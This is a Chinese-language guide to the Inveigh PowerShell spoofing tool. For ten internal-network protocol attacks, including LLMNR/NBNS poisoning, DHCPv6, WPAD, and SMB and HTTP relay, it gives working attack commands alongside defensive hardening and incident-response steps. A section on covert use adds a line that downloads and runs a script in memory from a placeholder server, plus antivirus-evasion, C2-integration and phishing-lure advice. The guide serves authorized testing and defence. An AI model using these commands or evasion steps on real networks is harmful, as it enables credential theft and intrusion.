Inveigh工具实战指南:防御10种内网协议攻击与安全加固
1. 项目概述:为什么我们需要Inveigh这样的工具?
在网络安全这个行当里干了十几年,我见过太多因为内部网络协议被滥用而导致的“翻车”现场。很多企业把防火墙、入侵检测系统(IDS)配置得固若金汤,却往往忽略了最基础的内部通信协议——比如ARP、LLMNR、NBNS、DHCPv6这些——它们本身设计时就没怎么考虑安全性,反而成了攻击者从内部撕开防线的绝佳入口。你可能会问,攻击者怎么进到内网?方法太多了,一封钓鱼邮件、一个被恶意利用的U盘,甚至是一个配置不当的访客Wi-Fi,都可能成为起点。一旦攻击者在内网获得一个立足点,他们下一步要做的就是横向移动和权限提升,而利用这些协议缺陷进行欺骗和监听,就是成本最低、效率最高的方法之一。
这时候,像Inveigh这样的工具就登场了。它不是一个用来攻击生产环境的武器,而是一面“镜子”,一个在授权渗透测试中使用的诊断和防御验证工具。它的核心价值在于主动模拟攻击者利用这些协议弱点的行为,从而让你清晰地看到:你的网络在面对ARP欺骗、LLMNR/NBNS投毒、DHCPv6欺骗等攻击时,到底有多脆弱。简单说,Inveigh能帮你回答:“如果有个坏家伙已经在我内网了,他能轻松拿到多少敏感信息?” 通过使用Inveigh,安全团队和网络管理员可以提前发现并修复这些基于协议的攻击面,把防御工作做在攻击发生之前。这不仅仅是技术人员的工具,对于想理解内网威胁模型、提升整体安全水位线的架构师和决策者来说,掌握其原理也至关重要。
2. Inveigh工具深度解析:不只是个监听器
很多人初次接触Inveigh,会把它简单理解为一个高级版的网络嗅探器。这其实低估了它。Inveigh是一个用PowerShell编写的工具集,它的设计哲学是“主动响应式攻击模拟”。它不仅仅被动地监听网络流量,更会主动地参与到网络协议对话中,扮演不应该扮演的角色,从而触发和捕获正常情况下不会暴露的认证信息。
2.1 核心组件与工作原理
Inveigh主要由三大模块构成,它们协同工作,构成了一个完整的内网协议攻击模拟环境。
1. Inveigh:核心引擎这是工具的主模块。它本质上是一个恶意的LLMNR/NBNS/mDNS/DHCPv6服务器和代理。当它运行时,会监听局域网内这些协议的广播查询。例如,当内网一台Windows电脑尝试访问一个不存在的共享路径\\fileserver\share时,如果DNS解析失败,系统会回退使用LLMNR或NBNS进行本地网络广播查询:“谁知道fileserver的地址?” 此时,开启Inveigh的攻击机就会抢先回应:“我知道!它的IP是192.168.1.100(攻击机的IP)”。受害主机会信任这个回应,并将后续的SMB、HTTP等连接请求发送给攻击机。当受害主机尝试进行身份认证时,其NetNTLMv1/v2哈希值就会在认证过程中被Inveigh捕获。
2. Inveigh-Relay:中继攻击模块这是Inveigh的“威力倍增器”。仅仅捕获哈希值有时还不够,因为破解NetNTLMv2哈希需要时间,且强度高的密码可能无法破解。Inveigh-Relay实现了SMB和HTTP的NTLM中继攻击。它不尝试破解哈希,而是实时地将捕获到的认证请求“中继”到网络内的另一台目标机器。如果目标机器接受了这个被中继的认证,攻击者就能以受害用户的身份直接访问目标机器,执行命令、上传文件等。这比离线破解哈希要直接和危险得多。
3. Inveigh-Brute:暴力破解辅助模块这个模块用于在特定场景下辅助攻击。例如,当你知道一个用户名,但不知道密码时,可以结合Inveigh的欺骗功能,强制目标主机向你的攻击机发起包含该用户名的认证请求,从而捕获其哈希进行破解尝试。它更侧重于在已获得部分信息情况下的针对性攻击模拟。
2.2 与其他工具的对比与定位
在渗透测试工具链中,Inveigh占据了一个非常独特且关键的位置。我们常把它和Responder进行比较。Responder是这类工具的先驱,用Python编写,功能强大且广为人知。那么为什么还要有Inveigh?
- 原生集成优势:Inveigh用PowerShell编写,在Windows环境下(尤其是已经获得权限的Windows主机上)运行无需安装Python环境或其他依赖,执行更为便捷,隐蔽性也相对更好。
- 模块化与灵活性:Inveigh的模块化设计更清晰。你可以单独运行欺骗功能、单独运行中继功能,或者组合使用。它的参数配置也提供了更细粒度的控制,比如可以精确指定欺骗哪些协议,监听哪些网卡。
- 中继攻击集成:虽然
Responder也能与其他工具配合进行中继,但Inveigh将Inveigh-Relay作为核心组件之一,在工具内部实现了更流畅的联动,简化了中继攻击的流程。 - Windows生态友好:对于深耕Windows内网渗透的测试者来说,Inveigh与PowerShell Empire、Cobalt Strike等后期利用框架的集成和调用更为自然。
所以,你可以把Inveigh看作是Responder的一个强大、专注于Windows环境的“现代化PowerShell重制版与增强版”。在实际测试中,我经常根据目标环境选择:在Linux攻击机上,我可能首选Responder;而在已经拿下的Windows跳板机上,Inveigh几乎是不二之选。
3. 防御10种常见网络攻击的实操指南
下面,我将结合Inveigh的功能,详细拆解如何模拟并进而防御10种最常见的基于内网协议的攻击。每一部分都会包含攻击原理、Inveigh实操命令、以及最关键的核心防御策略。
3.1 攻击1:LLMNR/NBNS投毒与NetNTLM哈希捕获
这是Inveigh最经典的应用场景。LLMNR和NBNS是Windows系统在DNS解析失败后的备用名称解析协议,但它们基于不可靠的UDP广播,缺乏认证机制。
攻击模拟实操:在已经获得内网权限的主机上,以管理员身份运行PowerShell,导入并执行Inveigh。
# 导入模块 Import-Module .\Inveigh.ps1 # 启动Inveigh,开启LLMNR和NBNS欺骗,并开始捕获哈希 Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y -FileOutput Y运行后,Inveigh开始监听。当内网有用户误输入共享路径(如\\filserver),其主机会广播LLMNR/NBNS查询。Inveigh会抢先响应,将该名称指向自己的IP。当用户尝试认证时,其NetNTLMv2哈希就会被捕获并显示在控制台。-FileOutput Y参数会将所有捕获的数据(包括哈希)保存到本地日志文件中。
防御策略与深度解析:
- 彻底禁用不安全的协议:这是最根本的解决方案。在域组策略(GPO)中,可以统一禁用所有客户端的LLMNR和NBNS。
- 禁用LLMNR: 计算机配置 -> 管理模板 -> 网络 -> DNS客户端 -> 关闭“启用多播名称解析”,设置为“已启用”。
- 禁用NBNS: 需要在每个网络接口的TCP/IP高级设置中,关闭“启用LMHOSTS查找”和“启用NetBIOS over TCP/IP”。这可以通过GPO的脚本或首选项推送,但更推荐直接禁用NetBIOS服务。
- 启用SMB签名:即使哈希被捕获,如果强制要求SMB通信必须签名,那么中继攻击将无法成功。在域控制器和重要服务器上,应将“Microsoft网络服务器:数字签名通信(始终)”策略设置为“已启用”。对于客户端,可以设置为“已启用”或“如果客户端同意则启用”。
- 网络分段与监控:将关键服务器(如域控制器、文件服务器)置于独立的VLAN中,并配置ACL限制不必要的跨网段广播流量。同时,部署网络检测系统(NIDS),监控网络内异常的LLMNR/NBNS响应包,这些响应包的源IP不应该是一台普通的客户端。
注意:禁用这些协议可能影响一些遗留应用或特定网络发现功能。务必在测试环境中先行验证。对于必须使用NetBIOS的环境,确保其被限制在最小的必要网络范围内。
3.2 攻击2:ARP欺骗与中间人攻击
ARP协议用于将IP地址解析为MAC地址,但它没有验证机制。攻击者可以发送伪造的ARP应答包,欺骗目标主机和网关,让双方的流量都流经攻击者主机,从而实现全流量的监听和篡改。
攻击模拟实操:Inveigh本身不直接进行ARP欺骗,但它可以与其他工具(如arpspoof)完美配合。思路是:先通过ARP欺骗将流量导向自己,然后利用Inveigh处理其中的名称解析和认证流量。
# 假设我们使用第三方ARP欺骗工具(需在Windows上寻找替代品,如NirSoft的MACAddressScan或基于WinPcap的工具)完成了ARP欺骗。 # 然后启动Inveigh,专注于处理被引导过来的流量中的认证协议。 Invoke-Inveigh -HTTP Y -Proxy Y -ConsoleOutput Y # -Proxy Y 参数会启动一个恶意的HTTP代理,可以截获并篡改HTTP流量中的认证信息。在更集成的测试中,我们可能会在Linux攻击机上使用ettercap进行ARP欺骗,同时运行Responder。但在纯Windows内网环境中,ARP欺骗的实现更复杂,通常需要驱动级工具。
防御策略与深度解析:
- 部署动态ARP检测:在企业级交换机上启用DAI功能。交换机会维护一个合法的IP-MAC-Port绑定表(通常来自DHCP监听),并拦截所有不符合该表的ARP数据包,从根本上杜绝ARP欺骗。
- 使用静态ARP条目:对于关键服务器和网络设备(如网关、域控制器),可以在客户端配置静态ARP条目。但这种方法规模化管理非常困难,不适用于大型网络。
- 启用IP源防护:在交换机上启用IPSG,它基于DHCP监听绑定表,只允许从特定端口发出具有合法源IP的数据包,防止攻击者伪装IP。
- 网络加密:推广使用HTTPS、IPSec VPN等加密通信。即使流量被劫持,攻击者也无法解密其中的敏感内容。对于内部管理协议,尽可能使用SSH、RDP(配合网络级认证)等加密通道。
3.3 攻击3:DHCPv6攻击与IPv6接管
随着IPv6的普及,新的攻击面也随之打开。Windows系统默认优先使用IPv6。如果网络中没有配置IPv6 DHCP服务器,攻击者可以伪装成DHCPv6服务器,为客户端分配IPv6地址、DNS服务器等,从而将客户端的IPv6流量导向恶意节点。
攻击模拟实操:Inveigh支持DHCPv6欺骗攻击。
Invoke-Inveigh -DHCPv6 Y -DNS Y -DNSType AAAA -DNSHost fe80::20c:29ff:fe1e:1f5 -ConsoleOutput Y-DHCPv6 Y:启用DHCPv6欺骗。-DNS Y和-DNSType AAAA:指示Inveigh在DHCPv6响应中通告自己为DNS服务器,并指定DNS记录类型为AAAA(IPv6)。-DNSHost:指定一个欺骗的IPv6地址。当客户端查询任何域名时,都会被解析到这个地址。
防御策略与深度解析:
- 明确规划IPv6:不要忽视IPv6。要么全面部署并安全配置IPv6(包括有状态的DHCPv6服务器和安全的NDP防护),要么在不需要的环境中彻底禁用IPv6。最危险的状态就是“默认启用但无人管理”。
- 部署RA Guard:在交换机上针对非信任端口(如连接用户终端的端口)启用RA Guard,阻止来自这些端口的非法路由器通告,防止攻击者通过RA消息发布恶意网关。
- 部署DHCPv6防护:在企业级交换机上启用DHCPv6防护,只允许来自信任端口(如上联至合法DHCPv6服务器的端口)的DHCPv6响应报文。
- 主机防火墙策略:在主机防火墙中,为IPv6配置与IPv4同样严格的入站和出站规则,减少暴露面。
3.4 攻击4:WPAD代理劫持攻击
WPAD是一种让浏览器自动发现网络代理设置的协议。攻击者可以伪装成WPAD服务器,向客户端推送恶意代理配置,使客户端的Web流量全部经过攻击者代理,从而实施SSL剥离、会话劫持等攻击。
攻击模拟实操:Inveigh可以响应WPAD请求。
Invoke-Inveigh -LLMNR Y -NBNS Y -WPAD Y -WPADIP 192.168.1.100 -WPADPort 8080 -Proxy Y -ConsoleOutput Y-WPAD Y:启用WPAD欺骗。-WPADIP和-WPADPort:指定恶意代理服务器的IP和端口。-Proxy Y:同时启动内置的HTTP代理服务器,用于处理被引导过来的流量。
当客户端(如IE、Chrome等开启了自动检测设置)发起http://wpad.dat请求时,Inveigh会响应一个PAC文件,指示浏览器将所有流量发送到192.168.1.100:8080。
防御策略与深度解析:
- 禁用自动代理检测:通过组策略统一关闭客户端的“自动检测设置”。路径:用户配置/计算机配置 -> 管理模板 -> Windows组件 -> Internet Explorer -> 禁用“自动检测设置”。
- 注册表加固:直接通过组策略首项或脚本设置注册表项
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections下的默认连接设置,清除自动检测标志。或者设置HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad下的相关项为0。 - DNS保护:确保内网DNS服务器上不存在错误的
wpad主机记录。如果有必要使用WPAD,应手动创建正确且受控的wpad主机记录,指向合法的代理服务器。 - 网络层过滤:在防火墙或交换机上,监控并阻止来自非授权服务器的WPAD相关响应。
3.5 攻击5:SMB中继攻击
这是危害性极高的攻击。攻击者将捕获到的SMB认证请求,实时中继到网络内的另一台机器。如果目标机器接受了该认证,攻击者就能获得在那台机器上的执行权限,而无需破解密码哈希。
攻击模拟实操:这需要用到Inveigh-Relay模块。通常分两步:
# 步骤1:在一台机器上运行Inveigh,捕获哈希并准备中继 Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y # 步骤2:在另一台(或同一台)机器上运行Inveigh-Relay,指定中继目标 Import-Module .\Inveigh-Relay.ps1 Invoke-InveighRelay -Target 192.168.1.10 -Command "whoami /all"Inveigh-Relay会等待Inveigh捕获到SMB认证请求,然后自动将其转发到目标192.168.1.10,并在成功执行指定的命令。更高级的用法可以中继到多个目标,或执行上传木马等操作。
防御策略与深度解析:
- 强制实施SMB签名:这是防御SMB中继攻击最有效的手段。对于域环境:
- 域控制器:必须启用“Microsoft网络服务器:数字签名通信(始终)”。
- 成员服务器:强烈建议启用“始终”模式。
- 客户端:启用“Microsoft网络客户端:数字签名通信(始终)”,这可以防止客户端向未签名的服务器发送认证信息。
- 启用EPA for SMB:在Windows Server 2016/Windows 10及以上版本中,可以启用SMB的扩展保护(EPA),它通过绑定通道和服务的身份验证,防止凭据转发。
- 限制NTLM使用:在域组策略中,通过“网络安全:限制NTLM”策略,尽可能禁用不必要的NTLM认证,强制使用Kerberos。Kerberos协议本身可以抵御中继攻击。
- 网络隔离:将不同安全等级的设备划分到不同的VLAN,并严格限制SMB端口(445/TCP)的访问。例如,普通用户终端之间不应能直接访问彼此的445端口。
3.6 攻击6:HTTP/HTTPS认证中继
与SMB中继类似,攻击者可以将捕获到的HTTP NTLM或Basic认证请求,中继到另一个Web应用(如OWA、SharePoint),从而以受害者身份登录。
攻击模拟实操:Inveigh同样可以中继HTTP认证。
# 启动Inveigh,启用HTTP监听和代理 Invoke-Inveigh -HTTP Y -Proxy Y -ConsoleOutput Y # 当捕获到HTTP NTLM认证后,可以手动或通过其他脚本将其中继到目标Web应用。 # Inveigh-Relay也支持HTTP中继,但通常需要更精细的配置来匹配目标Web应用的具体认证端点。在实际测试中,HTTP中继的成功率取决于目标Web应用是否接受跨协议(从攻击者IP发起的)NTLM认证,以及是否启用了EPA等防护措施。
防御策略与深度解析:
- 启用HTTPS并强制使用:确保所有内部Web应用都使用HTTPS,并通过HSTS策略强制浏览器使用。这能有效防止SSL剥离攻击,并增加中间人攻击的难度。
- 实施应用层的EPA:对于IIS服务器,确保为使用Windows身份验证的站点启用了“扩展保护”。这能绑定认证与会话,防止凭据被中继到其他服务。
- 使用基于表单的认证或现代认证:对于面向内部的Web应用,考虑使用基于表单的认证(结合强会话管理)或OAuth 2.0、OpenID Connect等现代认证协议,替代传统的集成Windows身份验证(IWA)。
- 主机头验证与URL限制:在Web服务器配置中,严格验证Host头,并限制应用只响应特定的主机名,减少攻击者利用恶意代理进行中继的机会。
3.7 攻击7:mDNS/NetBIOS名称欺骗
在混合网络(如包含Mac、Linux)中,mDNS被广泛使用。攻击者可以响应mDNS查询,伪装成其他设备(如打印机、AirPlay接收器),诱使用户连接。
攻击模拟实操:Inveigh支持mDNS欺骗。
Invoke-Inveigh -mDNS Y -mDNSTypes A -mDNSHost 192.168.1.100 -mDNSName "My Evil Printer" -ConsoleOutput Y这会使Inveigh响应针对“My Evil Printer”的mDNS查询,将其指向攻击者的IP。
防御策略与深度解析:
- 评估并限制使用:在企业环境中,评估mDNS和NetBIOS的实际业务需求。如无必要,应在主机和网络设备上禁用。
- 网络分段:将大量使用这些协议的设备(如IoT设备、打印机)隔离到独立的、访问受限的网络段中。
- 使用有管理的名称服务:推动使用企业内部的DNS服务器作为唯一的名称解析源,并通过DHCP选项或组策略统一配置,减少对广播协议的信赖。
- 终端安全软件:一些高级的终端检测与响应(EDR)产品可以检测和告警异常的mDNS或NetBIOS响应行为。
3.8 攻击8:DNS欺骗攻击
虽然Inveigh主要针对本地链路协议,但DNS欺骗的原理类似。攻击者通过ARP欺骗或控制路由器等手段成为中间人后,可以篡改DNS响应,将用户引导至钓鱼网站。
防御策略与深度解析:
- 部署DNSSEC:在公共域名和内部域名上部署DNSSEC,为DNS响应提供数字签名验证,客户端可以验证响应的真实性,防止篡改。
- 使用DNS over HTTPS/TLS:配置客户端使用DoH或DoT,将DNS查询加密传输到可信的DNS解析器,防止网络中的窃听和篡改。
- 安全的动态DNS更新:对于内网DNS服务器,配置安全的动态更新(例如,与AD集成,仅允许安全更新),防止攻击者非法添加或修改DNS记录。
- 客户端DNS缓存锁定:通过组策略锁定客户端的DNS设置,防止被恶意软件修改。并设置多个可靠的内网DNS服务器。
3.9 攻击9:利用Inveigh进行内网侦察
Inveigh在运行过程中,会被动监听和记录大量的网络广播流量,这些数据本身就是宝贵的情报。
- 主机发现:通过监听ARP、DHCP、NetBIOS等广播,可以绘制出活跃的主机列表。
- 服务发现:通过分析捕获到的SMB、HTTP等协议请求,可以推断出网络中存在的文件服务器、Web应用等。
- 用户行为分析:捕获到的认证尝试中包含了用户名,可以分析内网用户的命名习惯、活跃账户等。
防御策略与深度解析:
- 网络流量加密:对管理流量和敏感业务流量进行加密(IPSec、TLS),即使被嗅探,内容也不可读。
- 端口安全与802.1X:在交换机上启用端口安全,限制每个端口学习的MAC地址数量,并结合802.1X认证,确保只有授权设备才能接入网络,极大限制了攻击者进行被动监听的位置。
- 网络行为分析:部署NTA或NBAD系统,建立网络流量的正常行为基线,能够及时发现异常的广播流量、协议扫描或未授权的主机通信模式。
- 最小权限原则:确保每台主机和用户只拥有完成其任务所必需的最小网络访问权限,通过防火墙策略和VLAN ACL进行严格控制。
3.10 攻击10:组合攻击与权限提升链
在实际的高级持续性威胁中,攻击者很少只使用一种技术。他们会将上述多种技术组合,形成攻击链。例如:通过钓鱼邮件获取初始访问 -> 在用户主机上运行Inveigh进行LLMNR投毒 -> 捕获域管理员助理的哈希 -> 中继到文件服务器 -> 利用文件服务器上的漏洞或配置弱点获取系统权限 -> 提取凭据 -> 横向移动到域控制器。
防御策略与深度解析:
- 纵深防御体系:没有任何单一技术能防御所有攻击。必须构建一个包含网络层、主机层、应用层、数据层和身份层的纵深防御体系。上述每一种防御措施都是这个体系中的一环。
- 持续威胁检测与响应:部署具备高级威胁狩猎能力的EDR和SIEM系统。它们能关联来自多个终端和网络传感器的日志,识别出跨主机的横向移动、异常的身份验证模式(如短时间内同一账户从多个IP登录)、以及Inveigh等工具运行产生的进程、网络和文件特征。
- 定期渗透测试与红队演练:这正是使用Inveigh等工具的正确场景。定期聘请专业团队或组织内部红队,模拟真实攻击者的战术、技术和流程,主动发现防御体系中的薄弱环节,并验证现有安全控制措施的有效性。
- 安全意识培训:技术手段再强,也难防人为失误。定期对员工进行安全意识培训,使其能够识别钓鱼邮件、避免使用不安全的网络、及时报告异常情况,是切断攻击链起点的关键。
4. Inveigh实战部署与高级配置技巧
了解了攻击与防御原理后,我们来看看如何在实际渗透测试中高效、隐蔽地使用Inveigh。
4.1 环境准备与隐蔽运行
在真实的内网测试中,直接运行一个PowerShell脚本可能会触发防病毒软件警报。因此,需要一些技巧。
1. 内存加载与无文件执行:避免在磁盘上留下Inveigh.ps1文件。可以通过网络下载并直接加载到内存中执行。
# 方法一:从Web服务器加载 IEX (New-Object Net.WebClient).DownloadString('http://your-server/Inveigh.ps1') Invoke-Inveigh -LLMNR Y -ConsoleOutput Y # 方法二:使用Cobalt Strike、Empire等框架的模块加载功能,它们通常有内置的规避技术。2. 混淆与编码:对PowerShell脚本进行混淆处理,可以绕过一些基于签名的AV检测。可以使用Invoke-Obfuscation等工具。更高级的做法是将其编译成C#程序集,然后通过PowerShell反射加载。
3. 选择性监听与输出控制:为了减少噪音和日志大小,应精确控制Inveigh的行为。
# 只针对特定IP范围或主机名进行欺骗 Invoke-Inveigh -LLMNR Y -NBNS Y -SpooferIPs 192.168.1.100 -SpooferHosts "FILE*, DC*" -ConsoleOutput Y -StatusOutput Y # 限制输出,只显示重要信息(如捕获到的哈希),并将日志输出到文件而非控制台 Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput N -StatusOutput N -FileOutput Y -OutputDir C:\Windows\Temp\Logs\-SpooferIPs和-SpooferHosts可以让你只欺骗特定的IP或匹配特定模式的主机名,避免在大型网络中产生过多干扰。-ConsoleOutput N和-StatusOutput N会让运行界面更安静。-FileOutput Y配合-OutputDir可以将捕获的数据静默保存到指定目录。
4.2 与Cobalt Strike等C2框架的集成
在红队行动中,Inveigh通常作为后期横向移动的模块,与Cobalt Strike、Empire等命令与控制框架集成。
在Cobalt Strike中使用:
- 将
Inveigh.ps1上传到Cobalt Strike团队服务器。 - 在已获得信标的受害主机上,通过
powershell-import命令导入模块。 - 使用
powershell或psinject命令调用Invoke-Inveigh函数。 - 捕获的哈希可以通过Cobalt Strike的界面直接看到,或者被自动添加到凭证列表中,方便后续的传递哈希攻击或破解。
这种集成方式使得攻击流程自动化,并且所有流量都封装在C2通道中,隐蔽性更强。
4.3 针对性的欺骗策略
为了提高成功率,需要根据目标网络环境调整策略。
- 识别主要协议:先运行一个短暂的监听模式(
Invoke-Inveigh -Inspect或使用-LLMNR Analyze等参数,具体查看帮助),分析网络中LLMNR、NBNS、mDNS哪种协议的流量最多,然后重点欺骗该协议。 - 利用业务时间:在员工工作时间启动攻击模拟,此时名称解析请求最活跃。避免在深夜或周末运行,那样可能一无所获。
- 结合社会工程:向目标用户发送一封包含错误共享链接(如
\\project-update\budget.xlsx)的邮件,可以极大地提高LLMNR/NBNS查询触发的概率。
5. 防御体系构建与事件排查实录
防御Inveigh所代表的这类攻击,需要系统性的工作。以下是我根据多年经验总结的 checklist 和排查思路。
5.1 企业内网安全加固清单
你可以将下表作为你下一次安全审计的检查清单:
| 防御层面 | 具体措施 | 配置方法/检查点 | 预期效果与风险 |
|---|---|---|---|
| 协议层 | 禁用LLMNR | 组策略:计算机配置->管理模板->网络->DNS客户端->关闭多播名称解析 | 根除LLMNR投毒风险。可能影响无DNS环境下的对等网络发现。 |
| 禁用NetBIOS over TCP/IP | 网络接口属性->TCP/IPv4高级->WINS标签->禁用NetBIOS | 根除NBNS投毒风险。影响依赖NetBIOS的旧版应用(如某些财务软件)。 | |
| 启用SMB签名(强制) | 组策略:计算机配置->Windows设置->安全设置->本地策略->安全选项中,将服务器和客户端的相关策略设为“已启用”。 | 有效防御SMB中继攻击。可能对高性能文件服务器产生轻微性能影响。 | |
| 限制NTLM使用 | 组策略:计算机配置->Windows设置->安全设置->本地策略->安全选项->网络安全:限制NTLM | 推动使用更安全的Kerberos,减少NTLM暴露面。需测试所有应用兼容性。 | |
| 网络层 | 启用DAI & IPSG | 在核心/接入交换机上配置。需先启用DHCP Snooping。 | 从根本上防御ARP欺骗和IP地址欺骗。需要交换机支持且配置正确。 |
| 启用RA Guard & DHCPv6防护 | 在支持IPv6的交换机上,针对用户端口启用。 | 防御IPv6相关的邻居发现和DHCPv6欺骗攻击。 | |
| 严格的网络分段 | 划分VLAN,使用ACL限制广播域和关键服务(如SMB 445)的访问。 | 限制攻击横向移动范围,遵循最小权限原则。增加网络管理复杂度。 | |
| 应用/主机层 | 禁用WPAD自动检测 | 组策略:用户配置->管理模板->Windows组件->Internet Explorer->禁用自动检测设置 | 防御代理劫持攻击。需为需要代理的用户配置明确的代理服务器。 |
| 启用IIS的扩展保护 | 在IIS管理器中选择站点->身份验证->Windows身份验证->高级设置->启用扩展保护。 | 防御HTTP认证中继攻击。需要客户端和服务器端共同支持。 | |
| 部署EDR/终端防护 | 确保所有终端安装并更新EDR/AV软件,启用行为检测。 | 能检测和阻止Inveigh等工具的运行,以及异常的进程、网络行为。 | |
| 监控与响应 | 部署网络流量分析 | 在关键网段部署NIDS/NTA,配置规则检测异常的LLMNR/NBNS响应、ARP欺骗流量。 | 及时发现内网攻击行为,提供预警。 |
| 集中日志审计 | 收集所有主机、网络设备、安全设备的日志到SIEM,关联分析异常登录、横向移动事件。 | 提供攻击事件的全链条视角,便于调查和溯源。 | |
| 定期红队演练 | 使用Inveigh等工具进行授权的内部攻击模拟。 | 主动发现防御盲点,验证安全控制有效性。 |
5.2 入侵迹象排查与应急响应
如果怀疑网络正在遭受此类攻击,可以按照以下步骤进行排查:
1. 网络流量分析:
- 抓包分析:在可疑网段或核心交换机上做端口镜像,使用Wireshark抓包。
- 过滤器:
llmnr or nbns or dhcpv6 or arp。 - 关键迹象:同一个LLMNR/NBNS查询收到多个响应;ARP应答中IP地址对应的MAC地址频繁变化或与DHCP服务器记录不符;存在非授权的DHCPv6或RA报文。
- 过滤器:
- NetFlow/sFlow分析:检查网络流量分析系统,寻找异常的广播流量模式或从未知MAC/IP发往大量主机的流量。
2. 主机日志分析:
- Windows安全日志:事件ID 4768(Kerberos认证票证请求)、4769(Kerberos服务票证请求)、4776(NTLM认证)。关注短时间内同一账户从多个不同IP地址发起的NTLM认证失败或成功记录,这可能是中继攻击的迹象。
- PowerShell日志:启用模块日志、脚本块日志,检查是否有加载或执行
Invoke-Inveigh等可疑PowerShell命令的记录。 - 进程与网络连接:检查是否有未知的PowerShell进程建立了大量网络监听(UDP 5355, 137, 138, 5353; TCP 80, 443等)。
3. 终端取证:
- 使用EDR工具或
Sysinternals Suite中的Process Explorer,TCPView检查可疑进程和连接。 - 检查计划任务、服务、WMI订阅、注册表自启动项,攻击者可能将Inveigh持久化。
- 搜索磁盘上是否有
Inveigh.log,Inveigh_output.txt等文件。
4. 应急遏制:
- 网络隔离:立即将疑似被入侵的主机从网络中断开。
- 重置凭据:如果怀疑域管理员或高权限账户哈希被捕获,应立即重置其密码,并检查其登录会话和令牌。
- 全面扫描:对受影响网段的所有主机进行恶意软件和异常进程扫描。
防御这类攻击的本质,是缩小攻击面、增强协议安全、加强监控和响应能力。通过理解Inveigh这样的攻击工具如何工作,我们能更有针对性地构建和调整我们的防御策略,让内网不再是攻击者的“后花园”。安全是一个持续的过程,而像Inveigh这样的工具,在防御者手中,就是照亮自身阴影的那盏灯。